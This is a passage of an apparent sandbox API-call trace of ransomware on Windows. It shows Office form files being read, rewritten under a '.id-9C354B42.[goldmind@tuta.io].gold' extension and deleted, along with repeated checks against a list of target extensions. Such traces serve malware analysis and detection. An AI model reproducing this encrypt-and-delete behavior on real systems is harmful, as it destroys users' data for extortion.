returned 0x0 [0112.821] ReadFile (in: hFile=0x394, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x30f, lpOverlapped=0x0) returned 1 [0112.823] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x310, lpOverlapped=0x0) returned 1 [0112.823] ReadFile (in: hFile=0x394, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.823] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0112.824] SetEndOfFile (hFile=0x198) returned 1 [0112.824] CloseHandle (hObject=0x198) returned 1 [0112.824] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.824] SetEndOfFile (hFile=0x394) returned 1 [0112.828] CloseHandle (hObject=0x394) returned 1 [0112.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 1 [0112.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.829] lstrlenW (lpString=".doc") returned 4 [0112.829] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.829] lstrlenW (lpString=".docx") returned 5 [0112.829] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0112.829] lstrlenW (lpString=".pdf") returned 4 [0112.829] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString=".xls") returned 4 [0112.830] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString=".xlsx") returned 5 [0112.830] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0112.830] lstrlenW (lpString=".ppt") returned 4 [0112.830] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.830] lstrlenW (lpString=".zip") returned 4 [0112.830] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString=".rar") returned 4 [0112.830] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString=".bz2") returned 4 [0112.830] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.830] lstrlenW (lpString=".7z") returned 3 [0112.830] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.830] lstrlenW (lpString=".dbf") returned 4 [0112.830] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.830] lstrlenW (lpString=".1cd") returned 4 [0112.830] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.830] lstrlenW (lpString=".jpg") returned 4 [0112.830] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.830] lstrlenW (lpString=".doc") returned 4 [0112.830] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString=".docx") returned 5 [0112.830] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0112.830] lstrlenW (lpString=".pdf") returned 4 [0112.830] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString=".xls") returned 4 [0112.830] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString=".xlsx") returned 5 [0112.830] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0112.830] lstrlenW (lpString=".ppt") returned 4 [0112.830] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.830] lstrlenW (lpString=".zip") returned 4 [0112.830] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString=".rar") returned 4 [0112.830] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.830] lstrlenW (lpString=".bz2") returned 4 [0112.830] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.830] lstrlenW (lpString=".7z") returned 3 [0112.830] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.830] lstrlenW (lpString=".dbf") returned 4 [0112.831] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.831] lstrlenW (lpString=".1cd") returned 4 [0112.831] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0112.831] lstrlenW (lpString=".jpg") returned 4 [0112.831] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.831] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0112.831] lstrlenW (lpString="CONTACTL.ICO") returned 12 [0112.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.831] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0112.831] CloseHandle (hObject=0x394) returned 1 [0112.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 0x20 [0112.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.832] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.832] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0112.833] GetLastError () returned 0x0 [0112.833] ReadFile (in: hFile=0x394, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0112.835] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0112.836] ReadFile (in: hFile=0x394, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.836] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.836] SetEndOfFile (hFile=0x198) returned 1 [0113.299] CloseHandle (hObject=0x198) returned 1 [0113.300] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.300] SetEndOfFile (hFile=0x394) returned 1 [0113.301] CloseHandle (hObject=0x394) returned 1 [0113.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 1 [0113.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.622] lstrlenW (lpString=".doc") returned 4 [0113.622] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0113.623] lstrlenW (lpString=".docx") returned 5 [0113.623] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0113.623] lstrlenW (lpString=".pdf") returned 4 [0113.623] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0113.623] lstrlenW (lpString=".xls") returned 4 [0113.623] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0113.623] lstrlenW (lpString=".xlsx") returned 5 [0113.623] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0113.623] lstrlenW (lpString=".ppt") returned 4 [0113.623] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0113.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.623] lstrlenW (lpString=".zip") returned 4 [0113.623] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0113.623] lstrlenW (lpString=".rar") returned 4 [0113.623] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0113.623] lstrlenW (lpString=".bz2") returned 4 [0113.623] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0113.623] lstrlenW (lpString=".7z") returned 3 [0113.623] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0113.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.623] lstrlenW (lpString=".dbf") returned 4 [0113.623] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0113.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.623] lstrlenW (lpString=".1cd") returned 4 [0113.623] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0113.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.623] lstrlenW (lpString=".jpg") returned 4 [0113.623] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0113.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.623] lstrlenW (lpString=".doc") returned 4 [0113.623] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0113.623] lstrlenW (lpString=".docx") returned 5 [0113.623] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0113.623] lstrlenW (lpString=".pdf") returned 4 [0113.623] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0113.623] lstrlenW (lpString=".xls") returned 4 [0113.624] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0113.624] lstrlenW (lpString=".xlsx") returned 5 [0113.624] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0113.624] lstrlenW (lpString=".ppt") returned 4 [0113.624] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0113.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.624] lstrlenW (lpString=".zip") returned 4 [0113.624] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0113.624] lstrlenW (lpString=".rar") returned 4 [0113.624] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0113.624] lstrlenW (lpString=".bz2") returned 4 [0113.624] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0113.624] lstrlenW (lpString=".7z") returned 3 [0113.624] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0113.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.624] lstrlenW (lpString=".dbf") returned 4 [0113.624] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0113.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.624] lstrlenW (lpString=".1cd") returned 4 [0113.624] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0113.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0113.624] lstrlenW (lpString=".jpg") returned 4 [0113.624] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0113.624] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0113.624] lstrlenW (lpString="DOC.CFG") returned 7 [0113.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.625] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=765) returned 1 [0113.625] CloseHandle (hObject=0x3f8) returned 1 [0113.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg")) returned 0x20 [0113.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.626] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.626] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0113.627] GetLastError () returned 0x0 [0113.627] ReadFile (in: hFile=0x3f8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x2fd, lpOverlapped=0x0) returned 1 [0113.635] WriteFile (in: hFile=0x3c0, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x300, lpOverlapped=0x0) returned 1 [0113.636] ReadFile (in: hFile=0x3f8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.636] WriteFile (in: hFile=0x3c0, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0113.636] SetEndOfFile (hFile=0x3c0) returned 1 [0113.636] CloseHandle (hObject=0x3c0) returned 1 [0113.636] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.636] SetEndOfFile (hFile=0x3f8) returned 1 [0113.638] CloseHandle (hObject=0x3f8) returned 1 [0113.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg")) returned 1 [0113.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.676] lstrlenW (lpString=".doc") returned 4 [0113.676] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0113.676] lstrlenW (lpString=".docx") returned 5 [0113.676] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0113.676] lstrlenW (lpString=".pdf") returned 4 [0113.676] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0113.676] lstrlenW (lpString=".xls") returned 4 [0113.676] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0113.676] lstrlenW (lpString=".xlsx") returned 5 [0113.676] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0113.676] lstrlenW (lpString=".ppt") returned 4 [0113.676] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0113.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.676] lstrlenW (lpString=".zip") returned 4 [0113.676] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0113.676] lstrlenW (lpString=".rar") returned 4 [0113.676] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0113.676] lstrlenW (lpString=".bz2") returned 4 [0113.676] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0113.676] lstrlenW (lpString=".7z") returned 3 [0113.676] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0113.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.676] lstrlenW (lpString=".dbf") returned 4 [0113.676] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0113.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.676] lstrlenW (lpString=".1cd") returned 4 [0113.676] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0113.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.676] lstrlenW (lpString=".jpg") returned 4 [0113.676] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0113.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.676] lstrlenW (lpString=".doc") returned 4 [0113.676] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0113.676] lstrlenW (lpString=".docx") returned 5 [0113.676] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0113.677] lstrlenW (lpString=".pdf") returned 4 [0113.677] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0113.677] lstrlenW (lpString=".xls") returned 4 [0113.677] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0113.677] lstrlenW (lpString=".xlsx") returned 5 [0113.677] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0113.677] lstrlenW (lpString=".ppt") returned 4 [0113.677] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0113.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.677] lstrlenW (lpString=".zip") returned 4 [0113.677] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0113.677] lstrlenW (lpString=".rar") returned 4 [0113.677] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0113.677] lstrlenW (lpString=".bz2") returned 4 [0113.677] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0113.677] lstrlenW (lpString=".7z") returned 3 [0113.677] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0113.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.677] lstrlenW (lpString=".dbf") returned 4 [0113.677] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0113.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.677] lstrlenW (lpString=".1cd") returned 4 [0113.677] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0113.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0113.677] lstrlenW (lpString=".jpg") returned 4 [0113.678] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0113.678] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0113.678] lstrlenW (lpString="DOCL.ICO") returned 8 [0113.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.678] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0113.679] CloseHandle (hObject=0x364) returned 1 [0113.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico")) returned 0x20 [0113.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.679] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.679] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.680] GetLastError () returned 0x0 [0113.680] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0113.703] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0113.703] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.703] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 